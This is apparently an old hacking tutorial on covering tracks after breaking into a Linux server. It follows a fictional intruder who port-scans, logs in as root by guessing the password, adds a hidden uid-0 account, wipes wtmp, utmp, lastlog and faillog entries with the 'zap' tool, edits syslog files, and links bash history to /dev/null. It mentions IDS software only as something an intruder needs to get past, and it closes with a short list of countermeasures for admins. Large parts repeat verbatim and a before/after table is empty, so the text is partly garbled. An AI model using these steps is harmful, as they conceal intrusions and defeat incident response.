As I have said before, erasing any evidence of a break-in is a must for any attacker. This usually will start with erasing their logins, and any possible error messages that may have been generated from their attacks (e.g. a buffer overflow attack will usually leave a message in the system logs), they will want to remove any trace of them being there, secondly they may make changes so that they will not be continued to be logged. This manual will not only try to describe how to erase your tracks, I will also try to explain how log files work, and what to look out for as an admin.
Being able to modify the logs will need the privilege of root, if you have root privileges (if you were successful in step one - elevating privileges) then there should not be any problems unless the admins are sneaky (I will discuss what tactics can be used to catch attackers out when logging their attacks in the countermeasures section at the end of the manual).
I will give a full example as to how an attacker will remove their traces from a system (Please note this example is not an actual account of an attack - it is just to show you how log files are produced on different events, and how to remove them).
Step 1: Joe has the IP address 207.128.56.132, he scans target.nosecurity.org with nmap using the connect() scan, to find the following ports open:
21 - FTP.
23 - Telnet.
25 - SMTP.
79 - Finger.
Already Joe has left traces on the system, in three different logs! The log output at present looks like this:
************Newbie Note: The connect() method as you may have guessed is not very stealthy, and leaves large logs of information, for stealth scanning it is recommended to only use SYN or FIN scanning, this can be achieved in nmap by issuing one of the following commands:
nmap -sS [target host] (for SYN Scanning).
nmap -sF [target host] (for FIN Scanning).These scans are more stealthy because they do not execute a full connect() - Which are logged by Linux systems.
************
Step 2: Seeing that port 23 is open he decides to Telnet into the system to try password guessing:
$ telnet target.nosecurity.org
Welcome To target.nosecurity.org: Please enter your usename and password
username: root
password: root
Login Incorrect
username: root password: enter
Joe is immediately given a root prompt (#). Again Joe's activity has add more information to the system logs, the output is listed below
The hardest logs to remove are those from /var/log/wtmp, /var/run/utmp, /var/log/lastlog and /var/log/faillog, because these cannot be edited in plain text with a program like vi or emacs. Programs like wipe or zap are designed to do this for you, these programs can be used to remove entries based on usernames, I have had to modify the code slightly so that it removes entries from faillog - as originally it only removed entries from wtmp, utmp and lastlog. Click here for the zap program source code. You can compile zap by using the command: gcc -o zap zap.c
Step 3: Joe has his zap binary, and now erases all information that is logged about the root account during the day, by using the command
./zap root. Below is a before and after table showing what the logs looked like before and after using zap.
As you can see the zap program removes all entries of the username in the logs for that day only. If the admin uses the lastlog command they will notice that root has **Never logged in**, if root has logged in before the admins will know that there has been a cracker on the system. Also as you can see root logged in twice on the 15th, once at 9:00 (by the admin) and again at 23:32 (by the attacker). When you use zap, it will remove both entries because they are of the same username and they logged in on the same day, if an admin knows what days they have logged in as root on, they will spot that their previous logins are missing from the logs, and again will know an attacker broke in on that day.
Step 4: Now with those logs out the way he still needs to remove data from:
Below is all the information left by Joe in these three logs:
Step 5: Just to make sure the admins do not get wind of Joe's attacks he edits the command line history, in this case the admin uses the bash shell, and so Joe edits /root/.bash_history taking out the lines of commands that are in relation to his attacks. Alternatively Joe can delete the.bash_history, then make a symbolic link from /root/.bash_history to /dev/null, this way all his further commands will be thrown into nothingness. Although this may be useful, it just screams to the admins that there is an attacker - so this is not really a good idea, its safer to make that extra effort to remove your commands manually.
************
Newbie Note: You can make a symbolic link from /root/.bash_history to /dev/null by using the command:
ln -s /dev/null /root/.bash_history
************
Step 6: If on another system the attacker may notice a directory /var/log/snort, this is a big tip off that Snort is being used on that system to monitor inbound/ outbound packets on the system, or any possible types of attacks, the attacker must remove their presence from these logs also. Snort is not the only type of program you should be wary of - programs like ethereal, any type of log monitoring program (such as swatchor logcheck), or port monitoring programs (such as portsentry or scanlogd) are also dangerous to an attacker, as these leave larger more detailed logs. which may be hard to spot- If you notice that the system is running some type of sniffer/ IDS, and a log scanner, and some type of port monitoring program then there is a big chance that the admin already knows about your activities.
As an attacker s/he will need to remove any entries from logs of these programs, this means a lot more work for the attacker - they may have to remove their presence from maybe an extra 4 or 5 logs.
************
Countermeasures:
1) Rebuild syslog so that it logs files to a different directory.
2) Use cron to copy log files to a syslog server at regular intervals.
3) Use a program like swatch or logsentry to watch over your logs, and send e-mails in emergencies.
4) Use a program like chkwtmp, and/ or chklastlog - to check if programs like zap have been used on your system.
5) Make it as difficult for the attacker as possible by logging everything! Edit /etc/login.defs for extra logging features, such as incorrect login timeouts, and logging of successful logins etc.6) Also install some type of IDS and port watching program to add extra information into your logs about an attacker, the more information that you log about the attacker, the harder it will be for them to spot them and remove every trace of their attack.
************
Being able to modify the logs will need the privilege of root, if you have root privileges (if you were successful in step one - elevating privileges) then there should not be any problems unless the admins are sneaky (I will discuss what tactics can be used to catch attackers out when logging their attacks in the countermeasures section at the end of the manual).
I will give a full example as to how an attacker will remove their traces from a system (Please note this example is not an actual account of an attack - it is just to show you how log files are produced on different events, and how to remove them).
Step 1: Joe has the IP address 207.128.56.132, he scans target.nosecurity.org with nmap using the connect() scan, to find the following ports open:
21 - FTP.
23 - Telnet.
25 - SMTP.
79 - Finger.
Already Joe has left traces on the system, in three different logs! The log output at present looks like this:
Output from /var/log/maillog:The logs above can strongly suggest to the admins that the computer has been portscanned.
Aug 15 23:22:04 gravity sm-mta[204]: g7FNCSnd000204: attackerbox [207.128.56.132] did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA
Aug 15 23:22:04 gravity sm-mta[206]: g7FNCSnd000206: atacker-box [207.128.56.132] did not issue MAIL/EXPN/VRFY/ETRN during connection to MSA
Output from /var/log/messages:
Aug 15 23:12:28 gravity telnetd[205]: ttloop: read: Connection reset by peer
Output from /var/log/secure:
Aug 15 23:22:04 target in.fingerd[245]: warning: can't get client address: Connection reset by peer
Aug 15 23:22:04 target in.fingerd[245]: connect from unknown
Aug 15 23:22:04 target in.ftpd[248]: connect from 207.128.56.132
Aug 15 23:22:04 target in.telnetd[249]: warning: can't get client address: Connection reset by peer
Aug 15 23:22:04 target in.telnetd[249]: connect from unknown
************Newbie Note: The connect() method as you may have guessed is not very stealthy, and leaves large logs of information, for stealth scanning it is recommended to only use SYN or FIN scanning, this can be achieved in nmap by issuing one of the following commands:
nmap -sS [target host] (for SYN Scanning).
nmap -sF [target host] (for FIN Scanning).These scans are more stealthy because they do not execute a full connect() - Which are logged by Linux systems.
************
Step 2: Seeing that port 23 is open he decides to Telnet into the system to try password guessing:
$ telnet target.nosecurity.org
Welcome To target.nosecurity.org: Please enter your usename and password
username: root
password: root
Login Incorrect
username: root password: enter
Joe is immediately given a root prompt (#). Again Joe's activity has add more information to the system logs, the output is listed below
Output from /var/log/secure:So now Joe has to erase his scans and entrance in 5 different logs! That's not to mention the entries to lastlog, wtmp and utmp! To try and remain as quiet as possible so the admins won't spot him, he adds a new account called jpark by using the useradd and passwd commands, thisjpark account will have the userid of 0 (root), and groupid of 0 (root), so he no longer needs the root account. Again doing this adds two new lines to /var/log/secure.
Aug 6 23:31:47 target in.telnetd[284]: connect from 207.128.56.132
Output from /var/log/lastlog: - Displays who has logged onto the system and the last time they logged on.
root pts/3 Thu Aug 15 23:32:28 +0000 2002
Output from /var/log/faillog: - Displays failed logins, on what terminal, and when.
root 0 0 Thu Aug 15 23:31:04 +0000 2002 on pts/3
Output from /var/log/secure:If an admin catches sight of this they will know they have an attacker in the system, Joe knows he has left a lot of information about his attack, and now he knows he must erase his tracks from the logs.
Aug 15 23:32:10 target useradd[279]: new user: name=jpark, uid=0, gid=0, home=/root, shell=/bin/bash
Aug 15 22:32:38 target passwd[280]: password for `jpark' changed by `root'
The hardest logs to remove are those from /var/log/wtmp, /var/run/utmp, /var/log/lastlog and /var/log/faillog, because these cannot be edited in plain text with a program like vi or emacs. Programs like wipe or zap are designed to do this for you, these programs can be used to remove entries based on usernames, I have had to modify the code slightly so that it removes entries from faillog - as originally it only removed entries from wtmp, utmp and lastlog. Click here for the zap program source code. You can compile zap by using the command: gcc -o zap zap.c
Step 3: Joe has his zap binary, and now erases all information that is logged about the root account during the day, by using the command
./zap root. Below is a before and after table showing what the logs looked like before and after using zap.
Before
|
After
| |||||||||||||||||||||||||
| Lastlog - output from command:lastlog |
|
| ||||||||||||||||||||||||
| WTMP - output from command: who /var/log/wtmp |
|
| ||||||||||||||||||||||||
| UTMP - output from command: who /var/run/utmp |
|
| ||||||||||||||||||||||||
| Faillog - output from command: faillog | root 0 0 Thu Aug 15 23:31:04 +0000 2002 on pts/3 |
Step 4: Now with those logs out the way he still needs to remove data from:
- messages
- maillog
- secure
Below is all the information left by Joe in these three logs:
All logged information in /var/log/secure from Joe's attacks:Joe can simply open up each of these three logs in an editor an delete the appropriate lines, it is important not to remove any lines that do not involve your attacks, as missing entries can tip off the admins.
Aug 15 23:22:04 target in.fingerd[245]: warning: can't get client address: Connection reset by peer
Aug 15 23:22:04 target in.fingerd[245]: connect from unknown
Aug 15 23:22:04 target in.ftpd[248]: connect from 207.128.56.132
Aug 15 23:22:04 target in.telnetd[249]: warning: can't get client address: Connection reset by peer
Aug 15 23:22:04 target in.telnetd[249]: connect from unknown
Aug 6 23:31:47 target in.telnetd[284]: connect from 207.128.56.132Aug 15 23:32:10 target useradd[279]: new user: name=jpark, uid=0, gid=0, home=/root, shell=/bin/bash
Aug 15 22:32:38 target passwd[280]: password for `jpark' changed by `root'
All logged information in /var/log/maillog from Joe's attacks:
Aug 15 23:22:04 gravity sm-mta[204]: g7FNCSnd000204: attackerbox [207.128.56.132] did not issue MAIL/EXPN/VRFY/ETRN during connection to MTA
Aug 15 23:22:04 gravity sm-mta[206]: g7FNCSnd000206: atacker-box [207.128.56.132] did not issue MAIL/EXPN/VRFY/ETRN during connection to MSA
Output from /var/log/messages:
Aug 15 23:12:28 gravity telnetd[205]: ttloop: read: Connection reset by peer
Step 5: Just to make sure the admins do not get wind of Joe's attacks he edits the command line history, in this case the admin uses the bash shell, and so Joe edits /root/.bash_history taking out the lines of commands that are in relation to his attacks. Alternatively Joe can delete the.bash_history, then make a symbolic link from /root/.bash_history to /dev/null, this way all his further commands will be thrown into nothingness. Although this may be useful, it just screams to the admins that there is an attacker - so this is not really a good idea, its safer to make that extra effort to remove your commands manually.
************
Newbie Note: You can make a symbolic link from /root/.bash_history to /dev/null by using the command:
ln -s /dev/null /root/.bash_history
************
Step 6: If on another system the attacker may notice a directory /var/log/snort, this is a big tip off that Snort is being used on that system to monitor inbound/ outbound packets on the system, or any possible types of attacks, the attacker must remove their presence from these logs also. Snort is not the only type of program you should be wary of - programs like ethereal, any type of log monitoring program (such as swatchor logcheck), or port monitoring programs (such as portsentry or scanlogd) are also dangerous to an attacker, as these leave larger more detailed logs. which may be hard to spot- If you notice that the system is running some type of sniffer/ IDS, and a log scanner, and some type of port monitoring program then there is a big chance that the admin already knows about your activities.
As an attacker s/he will need to remove any entries from logs of these programs, this means a lot more work for the attacker - they may have to remove their presence from maybe an extra 4 or 5 logs.
************
Countermeasures:
1) Rebuild syslog so that it logs files to a different directory.
2) Use cron to copy log files to a syslog server at regular intervals.
3) Use a program like swatch or logsentry to watch over your logs, and send e-mails in emergencies.
4) Use a program like chkwtmp, and/ or chklastlog - to check if programs like zap have been used on your system.
5) Make it as difficult for the attacker as possible by logging everything! Edit /etc/login.defs for extra logging features, such as incorrect login timeouts, and logging of successful logins etc.6) Also install some type of IDS and port watching program to add extra information into your logs about an attacker, the more information that you log about the attacker, the harder it will be for them to spot them and remove every trace of their attack.
************
